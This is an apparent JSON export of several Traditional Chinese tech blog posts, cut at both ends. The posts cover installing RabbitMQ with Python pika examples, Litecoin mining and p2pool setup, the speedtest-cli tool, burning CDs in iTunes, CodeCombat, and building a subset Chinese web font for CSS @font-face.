https://deb2.rabbitmq.com/rabbitmq-server/ubuntu/noble noble main EOF ## Update package indices sudo apt-get update -y ## Install Erlang packages sudo apt-get install -y erlang-base \\ erlang-asn1 erlang-crypto erlang-eldap erlang-ftp erlang-inets \\ erlang-mnesia erlang-os-mon erlang-parsetools erlang-public-key \\ erlang-runtime-tools erlang-snmp erlang-ssl \\ erlang-syntax-tools erlang-tftp erlang-tools erlang-xmerl ## Install rabbitmq-server and its dependencies sudo apt-get install rabbitmq-server -y --fix-missing 詳細的安裝說明可以參考RabbitMQ 官方文件。\n系統資源限制 由於 RabbitMQ 在實際執行時，會需要開啟大量的檔案，這個開啟檔案數量的上限在 Linux 系統上是由 ulimit -n 在設定的，大部分的系統預設值是 1024，而這個值對於 RabbitMQ 來說通常不夠高，依據 RabbitMQ 官方的說明文件建議在開發系統上設定為 4096，而在正式環境則建議設定為 65536。\n若要查詢目前 RabbitMQ 系統上的開啟檔案數量上限設定，可以使用 rabbitmq-diagnostics 指令：\n# 檢查 RabbitMQ 狀態 rabbitmq-diagnostics status [略] File Descriptors Total: 0, limit: 32671 [略] 目前大部分的 Linux 發行版系統都是採用 systemd 來控制系統服務，在 systemd 之下我們可以建立 /etc/systemd/system/rabbitmq-server.service.d/limits.conf 這個設定檔，設定檔案開啟數量上限值：\n# 建立 /etc/systemd/system/rabbitmq-server.service.d 目錄 sudo mkdir -p /etc/systemd/system/rabbitmq-server.service.d # 建立 /etc/systemd/system/rabbitmq-server.service.d/limits.conf 設定檔 sudo cat \u0026lt;\u0026lt;EOF \u0026gt;\u0026gt; /etc/systemd/system/rabbitmq-server.service.d/limits.conf [Service] LimitNOFILE=64000 EOF 建立好設定檔之後，重新載入設定檔，並重啟 RabbitMQ 即可讓新設定生效：\n# 載入 systemd 設定檔 systemctl daemon-reload # 重新啟動 RabbitMQ systemctl restart rabbitmq-server 修改完成後，可以使用 rabbitmq-diagnostics 指令再檢查一次系統設定。\n開始使用 RabbitMQ 在開始撰寫程式之前，要先了解關於訊息佇列的一些專有名詞，在一個訊息佇列系統中，主要有三種原件，分別為 producer、queue 與 consumer。\nProducer 指訊息的發送者，以 P 表示。\nQueue 暫時儲存訊息的地方，它位於 RabbitMQ 內部，在儲存空間足夠的狀況下，它可以儲存任意數量的訊息，多個 producer 可以將訊息發送至同一個 queue 中，而不同的 consumer 也可以從同一個 queue 接收訊息。\nConsumer 指訊息的接收者，以 C 表示。\n一個最簡單的 hellow world 範例就是下面這種由單一的 producer、queue 與 consumer 所組成的訊息佇列系統：\n要實作這樣的架構，我們會需要撰寫兩個程式，分別為 producer 與 consumer，而 queue 的部分則是由 RabbitMQ 來負責，以下分別示範各種語言的實作方式。\nPython 實作 由於 RabbitMQ 是使用 AMQP 這個資料傳輸協定，所以一般的程式若要跟 RabbitMQ 溝通，就要安裝支援 AMQP 的函式庫，目前幾乎任何語言都可以找到支援 AMQP 的函式庫，以 Python 來說可以使用下面這幾種：\npy-amqplib txAMQP Pika 這裡我們使用 Pika 來示範。\nPython 的 pika 套件可以透過 pip 來安裝：\npip install pika 安裝好 pika 之後，就可以開始撰寫程式了。首先撰寫訊息發送者 producer 的部分，他負責產生訊息並送給 queue。\n以下是 send.py 這個 producer 的程式碼：\n# 連接到 broker（RabbitMQ 伺服器） connection = pika.BlockingConnection(pika.ConnectionParameters(\u0026#39;localhost\u0026#39;)) channel = connection.channel() 程式一開始要先指定 broker 的位置（也就是執行 RabbitMQ 伺服器的位置），這個例子中是連到 localhost，如果你的 RabbitMQ 是在不同一台機器上，這裡就換成該伺服器的 IP 位址。\n在發送訊息之前，要先確認自己要使用的 queue 是存在的，如果將訊息發送至一個不存在的 queue，RabbitMQ 會直接將該訊息丟棄。這裡我們建立一個 queue，命名為 hello：\n# 建立一個 queue channel.queue_declare(queue=\u0026#39;hello\u0026#39;) 接著發送一筆訊息到 hello 這個 queue 中，內容為 Hello World!。\n在 RabbitMQ 中所有的訊息在接收到之後，並不會直接放進 queue 中，中間還會經過 exchanges 的步驟來判斷該把訊息放進哪個 queue，而在這裡我們先使用預設的 exchange（空字串），讓訊息直接放進 routing_key 所指定的 queue 中：\n# 發送訊息 channel.basic_publish(exchange=\u0026#39;\u0026#39;, routing_key=\u0026#39;hello\u0026#39;, body=\u0026#39;Hello World!\u0026#39;) print(\u0026#34; [x] Sent \u0026#39;Hello World!\u0026#39;\u0026#34;) 訊息發送完之後，最後要記得關閉連線，以確保緩衝區的資料都有被送出（flush）。\n# 關閉連線 connection.close() 如果你是第一次使用 RabbitMQ，發現執行 send.py 後沒有出現訊息已送出的輸出，那就要檢查自己的 RabbitMQ 伺服器是否有正常啟動，要找問題出在哪裡，可以檢查 /var/log/rabbitmq/ 下面的記錄檔，另外如果硬碟空間不夠（預設需要 1G 的硬碟空間）也會要造成無法啟動的狀況。\n接著還要再寫一個 consumer 來接收 queue 裡面的訊息。\nreceive.py 這個 consumer 的程式碼一開始在連接 RabbitMQ 的部分，跟 send.py 是一樣的，然後一樣在接收訊息前要先確認 queue 是否存在：\n# 建立一個 queue channel.queue_declare(queue=\u0026#39;hello\u0026#39;) 這個建立 queue 的動作可以執行很多次，但同一個名字的 queue 始終只會存在一個，後來重複建立的指令都會被忽略。要這麼做主要是因為你不曉得 send.py 與 receive.py 哪一個程式會先執行，所以在每次使用 queue 之前都執行這行可以確保不會使用到一個不存在的 queue。\n如果你想要看看目前 RabbitMQ 伺服器中有哪些已經被建立的 queue，可以使用 rabbitmqctl 指令：\nsudo rabbitmqctl list_queues 輸出為\nTimeout: 60.0 seconds ... Listing queues for vhost / ... name\tmessages hello\t1 在接收訊息的部分會比較複雜一些，這裡會需要定義一個回呼（callback）函數，每當有訊息被接收時，Pika 就會呼叫這個函數，這裡我們讓他直接將接收到的訊息輸出至螢幕上：\n# 定義回呼函數 def callback(ch, method, properties, body): print(\u0026#34; [x] Received %r\u0026#34; % (body,)) 然後告訴 RabbitMQ 使用這個回呼函數來接收 hello 這個 queue 的訊息。\n# 接收訊息 channel.basic_consume(queue=\u0026#39;hello\u0026#39;, on_message_callback=callback) no_ack 這個參數目前沒有用到，在後面的教學會再解釋。\n最後進入一個無窮迴圈，等待訊息。\nprint(\u0026#39; [*] Waiting for messages. To exit press CTRL+C\u0026#39;) channel.start_consuming() 以下是 send.py 的完整程式碼：\n#!/usr/bin/env python import pika connection = pika.BlockingConnection(pika.ConnectionParameters( host=\u0026#39;localhost\u0026#39;)) channel = connection.channel() channel.queue_declare(queue=\u0026#39;hello\u0026#39;) channel.basic_publish(exchange=\u0026#39;\u0026#39;, routing_key=\u0026#39;hello\u0026#39;, body=\u0026#39;Hello World!\u0026#39;) print(\u0026#34; [x] Sent \u0026#39;Hello World!\u0026#39;\u0026#34;) connection.close() 而 receive.py 的完整程式碼則為：\n#!/usr/bin/env python import pika connection = pika.BlockingConnection(pika.ConnectionParameters( host=\u0026#39;localhost\u0026#39;)) channel = connection.channel() channel.queue_declare(queue=\u0026#39;hello\u0026#39;) print(\u0026#39; [*] Waiting for messages. To exit press CTRL+C\u0026#39;) def callback(ch, method, properties, body): print(\u0026#34; [x] Received %r\u0026#34; % (body,)) channel.basic_consume(queue=\u0026#39;hello\u0026#39;, on_message_callback=callback) channel.start_consuming() 接下來開始測試，首先執行 send.py：\npython send.py 輸出為\n[x] Sent ‘Hello World!’\nsend.py 再送出一條訊息後就會自動結束，接著執行 receive.py：\npython receive.py 輸出為\n[*] Waiting for messages. To exit press CTRL+C\n[x] Received ‘Hello World!’\n這樣就完成了一個最基本的佇列系統！\n在 receive.py 執行時，只要接收到新訊息就會輸出在螢幕上，這時候你可以再執行一次 send.py 測試看看是否會接收到後續的訊息。\nreceive.py 在執行之後就會一直等待新的訊息，按下 Ctrl + c 就可以離開。\n除了 Python 之外，也可以使用 Java、PHP 或 Ruby，基本上概念都是一樣的。\n繼續閱讀：以 RabbitMQ 實作工作佇列（Work Queues）（Python 版本）\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-install-rabbitmq/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中安裝 RabbitMQ 這個訊息佇列，並且以範例程式說明如何使用 RabbitMQ。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.rabbitmq.com/\"\u003eRabbitMQ\u003c/a\u003e 是一個訊息仲介（message broker），它所做的事情就是接收訊息，然後再把訊息發送出去，就好像郵局一樣，發信者將信件交給郵差，透過郵局的郵務系統將信件送給收信人，而 RabbitMQ 跟郵局的不同點只在於它不處理實體的信件，而是處理數位化的資料。\u003c/p\u003e","title":"在 Ubuntu Linux 中安裝與使用 RabbitMQ 訊息佇列"},{"content":"這裡分享我個在練習開挖萊特幣（Litecoin）時所搜集到的資料，給大家參考一下。\n什麼是萊特幣（Litecoin）？ 萊特幣（Litecoin，符號為 Ł，縮寫為 LTC）是一種以點對點（peer-to-peer）技術為基礎的網路虛擬貨幣，它是將原有的比特幣（Bitcoin）加入了一些改良後，所產生的新的電子貨幣，其與比特幣相比，有三項特點：\n萊特幣網路每 2.5 分鐘（而不是 10 分鐘）就可以處理一個 block，因此可以提供更快的交易確認。 萊特幣網路預期產出 8400 萬個萊特幣，是比特幣網路發行貨幣量的四倍之多。 萊特幣在其工作量證明演算法中使用了由 Colin Percival 首次提出的 scrypt 加密演算法，這使得相比於比特幣，在普通計算機上進行萊特幣挖掘更為容易。每一個萊特幣被分成 100,000,000 個更小的單位，通過八位小數來界定。 萊特幣是以 MIT/X11 的許可下發佈的免費軟體專案，其軟體的原始碼都可以從 GitHub 上取得。\n安裝萊特幣軟體 若要使用萊特幣就要先安裝它的 client 軟體，安裝時請從萊特幣的官方網站下載（不要從其它地方下載，否則容易有安全性問題），安裝完成後，第一次執行時會需要下載過去的交易資料。\n在收受的頁面中，可以看到用來收款的位址，你可以提供不同的位址給不同的付款人，以追蹤付款的狀況。\n使用 bootstrap.dat 加速下載交易資料 下載過去交易資料這個動作由於會需要跟網路上隨機的端點下載資料，加上資料量又大，會非常慢（通常要一兩天），如果不想等，可以使用 bootstrap.dat 的方式，加速資料匯入的動作。\n首先下載 bootstrap.dat.xz 這個檔案。 建立一個 bootstrap.msg.asc 文字檔。 以 gpg --verify bootstrap.msg.asc 檢查 bootstrap.dat.xz 檔案內容是否正確。 將 bootstrap.dat.xz 接壓縮後，放在萊特幣 client 軟體的資料目錄中（Linux 中為 ~/.litecoin/，Mac OS X 為 ~/Library/Application Support/Litecoin/.）。 開啟萊特幣 client 軟體，這樣就會自動匯入。匯入完成後，原本的 bootstrap.dat 會被更名為 bootstrap.dat.old，這時候即可將此檔刪除。 當下載完交易資料後，就可以開始使用萊特幣了，而獲得萊特幣的方式除了靠別人匯款給自己之外，也可以自己靠著採礦來取得萊特幣，而採礦簡單的說就是下載採礦程式放在電腦中跑，就會產生萊特幣了，不過由於採礦的過程需要極大量的計算，所以如果你的計算設備太老舊，可能開採出來的萊特幣連付電費都不夠。\n開挖萊特幣 開採萊特幣的程式有好幾種，這裡介紹一些常見的幾種 CPU 與 GPU 採礦程式。\ncpuminer 若為 Ubuntu Linux 的使用者，首先要安裝一些必要套件：\nsudo apt-get install build-essential libcurl4-openssl-dev 接著從 sourceforge 的網站下載 cpuminer 的原始碼：\nwget http://sourceforge.net/projects/cpuminer/files/pooler-cpuminer-2.3.2.tar.gz 解壓縮後，進行編譯：\ntar xzf pooler-cpuminer-*.tar.gz cd cpuminer-* ./configure CFLAGS=\u0026#34;-O3\u0026#34; make 編譯完成後，會產生一個 minerd 這個執行檔，這個就是用來開採萊特幣的程式，使用方式如下：\n./minerd --url=http://myminingpool.com:9332 --userpass=USERNAME:PASSWORD 或\n./minerd --url=stratum+tcp://myminingpool.com:3333 --userpass=USERNAME:PASSWORD 這裡的 USERNAME 就是自己的收款位址，例如：Lfq5FCZm1RFeExCfXaj6vmQu1FJ2f1v8NX，PASSWORD 則是自己指定的密碼。\n--url 就是指定礦區（mining pool）的位址，至於要選擇哪一個礦區就看自己決定了，litecoin.info 上有一些礦區的列表。\n若要查詢可用的參數，可以查看它的使用說明：\n./minerd --help cudaMiner 如果你有 Nvidia 的顯示卡，就可以利用 CudaMiner 以 GPU 來採礦。\n在 Linux 中可直接下載其原始碼來編譯（在編譯前記得安裝 CUDA）：\ngit clone https://github.com/cbuchner1/CudaMiner.git cd CudaMiner/ ./configure --with-cuda=/usr/local/cuda-5.5 make 編譯完成後，會產生一個 cudaminer 可執行檔，這個就是可以使用 GPU 採礦的工具程式，其使用方式也跟 minerd 差不多，例如：\n./cudaminer --url=http://p2pool.org:9327 --userpass=Lfq5FCZm1RFeExCfXaj6vmQu1FJ2f1v8NX:39388dskfklSADFW -d 0 更多的說明可參考 bitcointalk 的文章。另外這篇也不錯。\ncgminer cgminer 原本有支援 AMD/ATI 的顯示卡，但是從 3.8 版之後就不支援一般的顯示卡，轉為 ASIC 與 FPGA 專用的採礦機，所以若要使用 AMD/ATI 的顯示卡，請使用 cgminer 3.7 版。\n自己架設 p2pool 如果不想使用網路上的礦區，可以自己架設一個 p2pool 礦區，架設的方式是在 Linux 上執行一個 litecoind，設定檔如下：\nserver=1 daemon=1 rpcuser=litecoinrpc rpcpassword=3940df0goFQERG2390gojiq3og879dfearFDSwef3 等待其同步所有 blockchain 之後，再下載 p2pool：\ngit clone https://github.com/forrestv/p2pool.git 安裝 litecoin_scrypt：\ncd p2pool/litecoin_scrypt sudo python setup.py install 然後就可以執行 p2pool 的伺服器：\n./run_p2pool.py --net litecoin --give-author 0 litecoinrpc 3940df0goFQERG2390gojiq3og879dfearFDSwef3 關於 p2pool 的架設，亦可參考這裡。\n在 BEC-E 上交易 等到你挖到了一些萊特幣之後，可以到網路上的一些交易網站進行貨幣的交易，而 BTC-E 算是一個比較大的交易網站，你可以註冊之後，把自己的萊特幣轉賬到 BTC-E 的帳戶中，就可以進行交易了。\n由於貨幣的匯率變化非常大，線上常常會看到一堆人在搶短線，不過目前每筆交易都會抽取 0.2% 的交易手續費，所以操作上自己要算清楚。\n除了將貨幣轉為其他的電子貨幣之外（如比特幣），也可以轉為美金（USD）或歐元（EUR）等。\n最後如果你賺到錢，想要把自己的前提領出來，可以再將錢匯回自己的萊特幣錢包，或是透過 PayPal 等的方式直接領錢，但是手續費很高，像 PayPal 要 7%，萊特幣則是 0.01 LTC。\n網路上也有一些專門設計用來交易的 bot，例如：BTC-e Trade bot 等，BTC-E 官方也有提供 API] 可以使用，也有人發展 Python 版本的 API 可以使用，如果你是駭客等級的，可以研究這個，弄得好也許真的有錢賺。\n","permalink":"https://blog.gtwang.org/linux/litecoin-mining/","summary":"\u003cp\u003e這裡分享我個在練習開挖萊特幣（Litecoin）時所搜集到的資料，給大家參考一下。\u003c/p\u003e\n\u003ch2 id=\"什麼是萊特幣litecoin\"\u003e什麼是萊特幣（Litecoin）？\u003c/h2\u003e\n\u003cp\u003e萊特幣（Litecoin，符號為 Ł，縮寫為 LTC）是一種以點對點（peer-to-peer）技術為基礎的網路虛擬貨幣，它是將原有的比特幣（Bitcoin）加入了一些改良後，所產生的新的電子貨幣，其與比特幣相比，有三項特點：\u003c/p\u003e","title":"萊特幣（Litecoin）採礦（Mining）賺錢！？"},{"content":"這裡介紹如何使用 speedtest-cli 指令在終端機中測試 Linux 網路連線速度，主要適用於各種 Linux 伺服器。\n一般會影響網路速度的原因有很多（例如網路的延遲與頻寬），而在網路很慢的時候，大家通常都會使用 Speedtest.net 或 Hinet 連線速率測試工具來檢測自己的 ISP 網路速度是否有問題。\n像這類的網路速度檢測網頁是將測試網路的 JavaScript 程式碼載入後，再連線到離使用者最近的測試伺服，進而測量上傳與下載的速度，但是如果你現在想要測試自己 Linux 伺服器的網路狀況時，這種使用瀏覽器的方式就比較麻煩了，一來遠端的伺服器可能沒有安裝 XWindow 與瀏覽器，即便有安裝瀏覽器，使用 XWindow 遠端顯示的方式來測試，也會造成測試的結果有誤差（因為 XWindow 本身的傳輸就會佔去很大的頻寬）。\nspeedtest-cli 指令是一個可以在終端機中直接測試網路速度的小工具，他本身是一個用 Python 寫成的指令稿，使用 Speedtest.net 的伺服器來做網路速度測試，可以算是 Speedtest.net 的一個命令列版本，以下介紹這個工具的使用方式。\n安裝 speedtest-cli 由於 speedtest-cli 有備納入 Python 官方的套件庫，所以可以使用 pip 安裝：\npip install speedtest-cli 或使用 easy_install：\neasy_install speedtest-cli 如果想要安裝 GibHub 上的最新版，可以使用：\npip install git+https://github.com/sivel/speedtest-cli.git 或是\ngit clone https://github.com/sivel/speedtest-cli.git python speedtest-cli/setup.py install 除此之外，亦可直接從 GitHub 下載\nwget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest.py chmod +x speedtest-cli 或是\ncurl -o speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest.py chmod +x speedtest-cli 使用 speedtest-cli 測試網路速度 最簡單的使用方式就是直接執行：\nspeedtest-cli 輸出為：\nRetrieving speedtest.net configuration... Retrieving speedtest.net server list... Testing from CHTD, Chunghwa Telecom Co., Ltd. (1.173.168.19)... Selecting best server based on ping... Hosted by kbro CO.LTD (Hsinying) [36.48 km]: 18.279 ms Testing download speed........................................ Download: 1.65 Mbit/s Testing upload speed.................................................. Upload: 0.06 Mbit/s speedtest-cli 會自動選擇距離使用者最近的伺服器來進行測試，這裡測試出來的下載速度為 1.65 Mbit/s，上傳速度為 0.06 Mbit/s。\n如果想要跟別人分享測試結果，可以加上 --share 參數：\nspeedtest-cli --share 這樣測試完成時，還會產生一張分享用的圖檔：\n如果想要查詢所有可用的伺服器，可以使用 --list 參數：\nspeedtest-cli --list 這樣就會列出所有可用的伺服器，並依照與使用者之間的距離來排序：\nRetrieving speedtest.net configuration... Retrieving speedtest.net server list... 2592) Far EasTone Telecommunications Co., Ltd (Tainan, Taiwan) [6.75 km] 2191) kbro CO.LTD (Hsinying, Taiwan) [36.48 km] 2593) Far EasTone Telecommunications Co., Ltd (Kaohsiung, Taiwan) [39.46 km] 3842) Taiwan Fixed Network (Kaohsiung, Taiwan) [39.46 km] 2594) Far EasTone Telecommunications Co., Ltd (Pingtung, Taiwan) [42.80 km] [略] 每台伺服器都有一個 ID 號碼，在測試時可以用這個 ID 編號來指定想要使用的伺服器：\nspeedtest-cli --server 2592 參考資料 Xmodulo ","permalink":"https://blog.gtwang.org/linux/speedtest-cli-linux-command/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003espeedtest-cli\u003c/code\u003e 指令在終端機中測試 Linux 網路連線速度，主要適用於各種 Linux 伺服器。\u003c/p\u003e\n\u003cp\u003e一般會影響網路速度的原因有很多（例如\u003ca href=\"/web-development/network-lantency-and-bandwidth/\"\u003e網路的延遲與頻寬\u003c/a\u003e），而在網路很慢的時候，大家通常都會使用 \u003ca href=\"https://www.speedtest.net/\"\u003eSpeedtest.net\u003c/a\u003e 或 \u003ca href=\"https://speed.hinet.net/\"\u003eHinet 連線速率測試工具\u003c/a\u003e來檢測自己的 ISP 網路速度是否有問題。\u003c/p\u003e","title":"使用 speedtest-cli 指令在終端機中測試 Linux 網路連線速度"},{"content":"這裡介紹如何使用 iTunes 製作與燒錄音樂 CD 或 MP3 光碟。\n如果想要將自己電腦中的音樂燒錄成一般家用音響可以播放的 CD 光碟，可以使用 iTunes 來幫忙。\n首先在 iTunes 中建立一個音樂播放列表，把要燒錄的音樂都放進來。\n然後在播放列表上按下右鍵，選擇「燒錄播放列表至光碟」。\n這時候就會跳出「燒錄設定」的視窗，這裡可以依照自己的需求調整，如果是傳統的 CD 音響或隨身聽，就要選擇「音樂光碟」。\n「歌曲間隙」就是播放完一首歌之前，在播放下一首時中間等待的時間，一般的 CD 大概都是兩秒，這個部分也不用改。\n「使用音量平衡」的功能就是可以讓每首歌的音量都做一個標準化的動作，讓每首歌的音量不要差太多，如果你的音樂是從各種不同地方抓來的，通常每首歌的音量都會不一樣，這時候就要啟用這個功能，不然在聽音樂時，可能會出現聲音忽大忽小的問題。這個選項預設會啟用，也不用改。\n如果你的 CD 播放器是比較新的 MP3 Player，就可以選擇 MP3 光碟，這樣就可以在一片 CD 片中放進好多歌曲。\n調整好參數後，放入光碟就可以開始燒錄。\n等待燒錄完成，就可以有一片音樂 CD 光碟了。\n","permalink":"https://blog.gtwang.org/mac-os/itunes-burn-music-mp3-cd/","summary":"\u003cp\u003e這裡介紹如何使用 iTunes 製作與燒錄音樂 CD 或 MP3 光碟。\u003c/p\u003e\n\u003cp\u003e如果想要將自己電腦中的音樂燒錄成一般家用音響可以播放的 CD 光碟，可以使用 iTunes 來幫忙。\u003c/p\u003e\n\u003cp\u003e首先在 iTunes 中建立一個音樂播放列表，把要燒錄的音樂都放進來。\u003c/p\u003e","title":"使用 iTunes 製作與燒錄音樂 CD 或 MP3 光碟"},{"content":"CodeCombat 是一個開放原始碼的線上戰略遊戲，可以讓你一邊玩遊戲一邊學習 JavaScript 的程式設計。\n一般初學者在學習程式語言的時候，通常都要經過一段漫長的時間去習慣程式設計的思維與邏輯，尤其是完全沒有寫過程式的人，會需要更長的時間，而這段時期通常都很枯燥乏味。\nCodeCombat 是一個專門設計給初學者（或是小朋友）學習程式語言的戰略遊戲（strategy game），讓學習程式語言的過程可以更輕鬆、更有趣，而且整個學習的過程是真的在玩遊戲。\n在遊戲中所有人物的動作都是使用 JavaScript 的語法來操控，如果想要打敗敵人，順利過關，就必須了解每個人物可以使用動作函數（如移動、攻擊等），然後為每個人物撰寫指令稿，控制他們進行戰鬥。\n當你撰寫好一個指令稿時，就可以按下螢幕左邊的播放按鈕以執行該指令稿，而在播放的時候你可以看到你所操控人物會依照指令稿一行一行的執行各項動作，而在右方的指令稿編輯區也會顯示目前執行到哪一行，如果發現動作有問題（例如撞到牆或是沒打中敵人），那麼你也可以再次修改指令稿，重新執行一次，就好像在除錯（debug）一樣。\n透過這樣的遊戲，使用者不但可以比較快樂的學習程式語言的撰寫，而且不知不覺就會習慣一般的程式開發與除錯的流程，日後再去接觸真正的程式開發環境（IDE）時，也可以比較快上手。\nCodeCombat 這個遊戲除了適合初學者學習程式設計之外，對於資深的程式設計師而言其實也是很有用的，首先由於 CodeCombat 是一個開放原始碼的專案，所有的程式碼都是以 MIT license 授權，而圖片或配樂則是以創用 CC 4.0 的方式授權，而這些都可以從 GitHub 上直接下載，如果你也想要發展類似的專案，可以從這邊獲得非常有用的資源。\n另外 CodeCombat 的說明文件上，也有列出這個專案所使用的核心技術，程式語言的部分有 CoffeeScript、Pug、Sass 與 Markdown，而在使用者端的部分，則有使用 Backbone.js 與 jQuery 等十餘項工具，有了這樣的列表之後，你就可以很快掌握像這樣的專案是怎麼發展出來的，若自己的專案也需要類似的功能時，就可以很快找到適合的工具，有興趣的人可以自行查閱網站上的說明。\n","permalink":"https://blog.gtwang.org/game/codecombat-coding-strategy-game/","summary":"\u003cp\u003e\u003ca href=\"https://codecombat.com/\"\u003eCodeCombat\u003c/a\u003e 是一個開放原始碼的線上戰略遊戲，可以讓你一邊玩遊戲一邊學習 JavaScript 的程式設計。\u003c/p\u003e\n\u003cp\u003e一般初學者在學習程式語言的時候，通常都要經過一段漫長的時間去習慣程式設計的思維與邏輯，尤其是完全沒有寫過程式的人，會需要更長的時間，而這段時期通常都很枯燥乏味。\u003c/p\u003e","title":"CodeCombat：透過玩遊戲學習 JavaScript 程式設計"},{"content":"這裡教大家如何自己製作中文的字形檔，並轉為網頁用的字型格式，藉由 CSS 的 @font-face 功能在網頁中使用。\n現在大部份的瀏覽器都可以支援 @font-face 這樣的自定網頁字型功能，但是到目前為止這項技術大部份都是應用於英文的字型上，而中文的字型檔由於大小通常都很大，如果讓使用者在看網頁文字時還要再下載好幾 MB 的字型檔，通常都會讓整個網頁效率大幅下降，所以大部份的網頁中的中文字都比較少使用自定的字型。\n然而如果你只是要在網頁中使用自己的字型顯示幾個特定的中文字（例如顯示網站名稱），在這樣的情況下你就可以針對自己的需求自行製作一個精簡的字型檔，讓這個字型檔只包含極少數的中文字型資訊，這樣的字型檔的大小就會非常的小！對於網站的效率不會有影響，但是卻可以讓網頁文字的呈現很好的效果。像下面這個就是本站標題所使用的中文字型（這個是隸書）：\n海豹雜記 這個不是圖片而是文字，所以你可以用滑鼠直接選取或複製這些文字，另外使用字型來顯示的方式跟一般圖片比起來，不論你將字體放多大也都不會有失真（產生鋸齒）的問題，而且如果是文字的話可以很容易搭配 CSS 的各種功能，加上個各種特效，例如顏色、陰影、動畫等，在設計上比一般圖檔更有彈性。\n這裡大家最關心的應該是檔案的大小，以這個例子而言，我在字型檔中放了「海豹雜記網頁技術數學統計LINUX」這幾個用於網站標題中文字型，而製作出來的網頁字型檔案大概在 10 到 20 KB 左右，而沒有壓縮的 SVG 字型檔則大約有 40 KB，不過以現在的網路來說，這樣的大小都不會造成太大的影響，不過對於網站來說卻可以漂亮很多。\n以下會介紹如何自己製作這樣的字型檔，並內崁至一般的網頁中。不過這裡提醒一點，本篇文章比較有難度，實作上會比較不容易。\n安裝 FontForge 字型編輯軟體 在為自己的網站量身定做一個字型檔之前，要先安裝好字型檔的編輯工具，而網路上有許多字型製作的軟體，不過我個人是推薦 FontForge 這套開放原始碼的工具，雖然使用者介面看裡來不怎麼漂亮，但是功能卻很齊全，如果在 Ubuntu Linux 上可以直接用 apt 安裝：\n# 安裝 FontForge sudo apt-get install fontforge 如果是 Windows 系統的話，官方有提供編譯好的 FontForge 的 Windows 版本，可以直接下載安裝。至於 macOS 的話，可以下載 FontForge 的 macOS 版本。\nFontForge 的使用方式其實並不直覺，如果你有興趣研究，可以參考官方的教學文件，或是上網搜尋其他的教學文章，在這裡我就不多作說明了。\n建立字型檔案 安裝好 FontForge 之後，就可以使用它來建立一個字型檔了，在 FontForge 中有提供各種工具可以讓你自己設計字型，但是通常要自己畫出滿意的字型並不容易，有些人會使用 Inkscape 畫好之後再匯進來，而最快的方式則是去網路上找一些免費的字型，用複製與貼上的方式建立自己的字型檔。\n在編輯字型檔時，請先新增一個新的檔案，然後只需要編輯那些你會用到的字就好，其餘的字就不用管它，以我的例子來說，我是直接另外開一個隸書的字型檔，把「海豹雜記網頁技術數學統計LINUX」這幾個字複製過來。\n而在 FontForge 尋找你要的字的時候，可以使用 Ctrl + Shift + \u0026gt; 這個快速鍵直接尋找你要的字，然後用 Ctrl + c 與 Ctrl + v 的方式複製你要的字型。\n編輯好所有需要用到的字之後，請選擇「元件」選單的「字型資訊」，為自己的字型取一個名字，我這裡取名為 SealmemoryHeader，這個名稱會跟後續在網頁上使用的 CSS 程式碼相關，為了避免麻煩我都習慣用英文命名。\n接著選擇「檔案」選單的「產生字型」，輸出網頁用的字型格式，在 FontForge 中支援很多種格式，而這裡我們會需要輸出 TrueType（ttf）、 Web Open Font（woff）與 SVG（svg）這三種。\n現在你應該會有三個字型檔案，分別為 SealmemoryHeader.ttf、 SealmemoryHeader.woff 與 SealmemoryHeader.svg 這三個，接著再用 TTF to EOT 這個線上轉換工具，將 SealmemoryHeader.ttf 轉為 SealmemoryHeader.eot，這樣所有的格式就都齊全了。\n這裡我發現 SealmemoryHeader.svg 這個由 FontForge 所產生的 SVG 字型檔中，\u0026lt;svg\u0026gt; 這個標簽沒有加上 xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;，這會造成瀏覽器無法正常顯示裡面的字型，如果你發現你的 SVG 字型檔無法被瀏覽器顯示，可以嘗試修正這個問題，也就是把 \u0026lt;svg\u0026gt; 改為這樣：\n\u0026lt;svg xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u0026gt; 內崁網頁字型 製作好四種網頁字型之後，接下來就可以使用 CSS 的 @font-face 來把這些字型放進網頁中了。\n理論上只要語法符合 W3C 的標準，在瀏覽器上應該都可以顯示這些字型才對，但是因為 IE9 會有些問題，所以依據這裡的教學，字型擺放的順序應該要像這樣才行：\n@font-face { font-family: SealmemoryHeader; src: url(SealmemoryHeader.eot); /* IE9 Compat Modes */ src: url(SealmemoryHeader.eot?#iefix) format(\u0026#34;embedded-opentype\u0026#34;), /* IE6-IE8 */ url(SealmemoryHeader.woff) format(\u0026#34;woff\u0026#34;), /* Modern Browsers */ url(SealmemoryHeader.ttf) format(\u0026#34;truetype\u0026#34;), /* Safari, Android, iOS */ url(SealmemoryHeader.svg#SealmemoryHeader) format(\u0026#34;svg\u0026#34;); /* Legacy iOS */ } 如果要在 Blogger 部落格上使用這樣的字型，可以將字型檔案放置在 Google 雲端硬碟上，並將各個字型檔案的網址置換掉：\n@font-face { font-family: SealmemoryHeader; src: url(https://googledrive.com/host/0B9VQk49XGpnvYl90V0pOdVVCYms); /* IE9 Compat Modes */ src: url(https://googledrive.com/host/0B9VQk49XGpnvYl90V0pOdVVCYms?#iefix) format(\u0026#34;embedded-opentype\u0026#34;), /* IE6-IE8 */ url(https://googledrive.com/host/0B9VQk49XGpnvWV9FLXI0NWprdUE) format(\u0026#34;woff\u0026#34;), /* Modern Browsers */ url(https://googledrive.com/host/0B9VQk49XGpnvUTlYU21SUWVJYWs) format(\u0026#34;truetype\u0026#34;), /* Safari, Android, iOS */ url(https://googledrive.com/host/0B9VQk49XGpnvUk8xeElvaDBuYTA#SealmemoryHeader) format(\u0026#34;svg\u0026#34;); /* Legacy iOS */ } 這樣就可以在 Blogger 部落格的範本（template）中加入這些字型，而且不用煩惱網頁空間的問題，這個方式同樣也適用於一般的網頁。\n現在只要在網頁中使用 font-family 將字型指定為 SealmemoryHeader，這樣瀏覽器就會顯示我們自己製作的字型了。當然為了以防萬一，在使用 font-family 指定自己的字型時，也可以順便加上一些備用字型，如果真的碰到不支援的瀏覽器，至少還可以顯示相近的字體。\n#header h1, #header h1 a { font-family: SealmemoryHeader, \u0026#34;標楷體\u0026#34;, 